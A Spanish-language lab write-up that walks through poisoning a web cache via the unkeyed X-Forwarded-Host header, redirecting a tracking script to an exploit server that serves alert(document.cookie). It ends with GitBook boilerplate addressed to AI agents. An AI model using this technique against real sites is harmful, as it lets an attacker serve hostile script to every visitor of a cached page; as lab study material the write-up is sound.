> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md).

# Envenenamiento de caché con un encabezado no indexado

### Envenenamiento de caché web con un encabezado no indexado

Esta aplicación es vulnerable a un **envenenamiento de caché web** porque maneja de forma peligrosa una entrada de un **encabezado no indexado**. / Un usuario legítimo visita regularmente la página principal del sitio.

\*\*Objetivo:\*\*/ Envenenar la caché para que la página principal sirva una respuesta que ejecute `alert(document.cookie)` en el navegador de la víctima.

<figure><img src="/files/4c068b7941dc920f071421330075cb238e73e061" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c20b258dc195940e86fcb6bad5f343ddd05159d2" alt=""><figcaption></figcaption></figure>

**Análisis del comportamiento de la caché**

* Al interceptar la solicitud a la página principal, un **`Age`** se observa el parámetro en la respuesta, lo que indica que el recurso se almacena en caché durante **30 segundos**.

<figure><img src="/files/498ec9fc10fe0efecd5a6bc9dda478568db53b48" alt="" width="481"><figcaption></figcaption></figure>

* Al añadir un parámetro arbitrario a la URL, por ejemplo `?test=1`, se observa que:
* La clave de caché se regenera.
* El contenido almacenado en caché puede modificarse y servirse a otros usuarios durante el período de caché.

<figure><img src="/files/a78e4ca700f5b5a764eae9a05aa88f783a615c09" alt=""><figcaption></figcaption></figure>

Si se logra envenenar la respuesta raíz (`/`), cualquier visitante verá este contenido malicioso durante estos 30 segundos

**Buscar encabezados explotables**

* Usando **Param Miner** en Burp Suite:

<figure><img src="/files/3c47de9aa8e59e4d9f3ca2b4afaf8167c379b951" alt=""><figcaption></figcaption></figure>

* Dado que el **Repeater**, se utiliza la función **Adivinar encabezados** se utiliza.

<figure><img src="/files/440291cefddf5ee276b84f972950aeb3f4be44eb" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/b30481168ff39e39ab5690d3ef4eb91de4e48813" alt="" width="563"><figcaption></figcaption></figure>

La extensión detecta un comportamiento de envenenamiento de la caché vinculada al encabezado **`X-Forwarded-Host`**.

<figure><img src="/files/1bbf8857c432b0dee4aef6630c3c9ed3483c999f" alt=""><figcaption></figcaption></figure>

**Operación de encabezado no indexado**

* Se añade el siguiente encabezado a la solicitud:

```http
X-Forwarded-Host: test.com
```

* La respuesta entonces incluye la carga de un recurso JavaScript de este dominio.

<figure><img src="/files/000355bd4940cdcd352c1cc6d93e4aa8d72ea065" alt=""><figcaption></figcaption></figure>

* Al recargar, la aplicación siempre intenta recuperar este script, lo que confirma que la respuesta está almacenada en caché.

<figure><img src="/files/db1416712ec786aa693b45c9759ea5e9a8422c93" alt=""><figcaption></figcaption></figure>

**Redirigir al servidor de explotación**

* El valor del encabezado se reemplaza por el **dominio del servidor**:

```http
X-Forwarded-Host: exploit-0a1c0025035a473c807ce8e901e3001a.exploit-server.net
```

La aplicación entonces intenta cargar el siguiente recurso:

**Inyección de carga maliciosa**

* En el servidor de explotación, se crea el archivo:

```javascript
/resources/js/tracking.js
```

<figure><img src="/files/a9a507a170aed8b3dc14a2b0e5977a6f93a350e7" alt=""><figcaption></figcaption></figure>

Contenido del archivo:

```javascript
alert(document.cookie)
```

* Este script ahora se incluye en la respuesta almacenada en caché.

<figure><img src="/files/22c1111b23a5eb08599f0249645ea4c8dbe0dd25" alt=""><figcaption></figcaption></figure>

**Resultado**

* Cuando un usuario visita la página principal durante el período de validez de la caché:
* El navegador carga el script envenenado.
* Aparece un cuadro de diálogo con `document.cookie`.

<figure><img src="/files/0d404701334a7c10c62591774d6831e7a6c499f2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
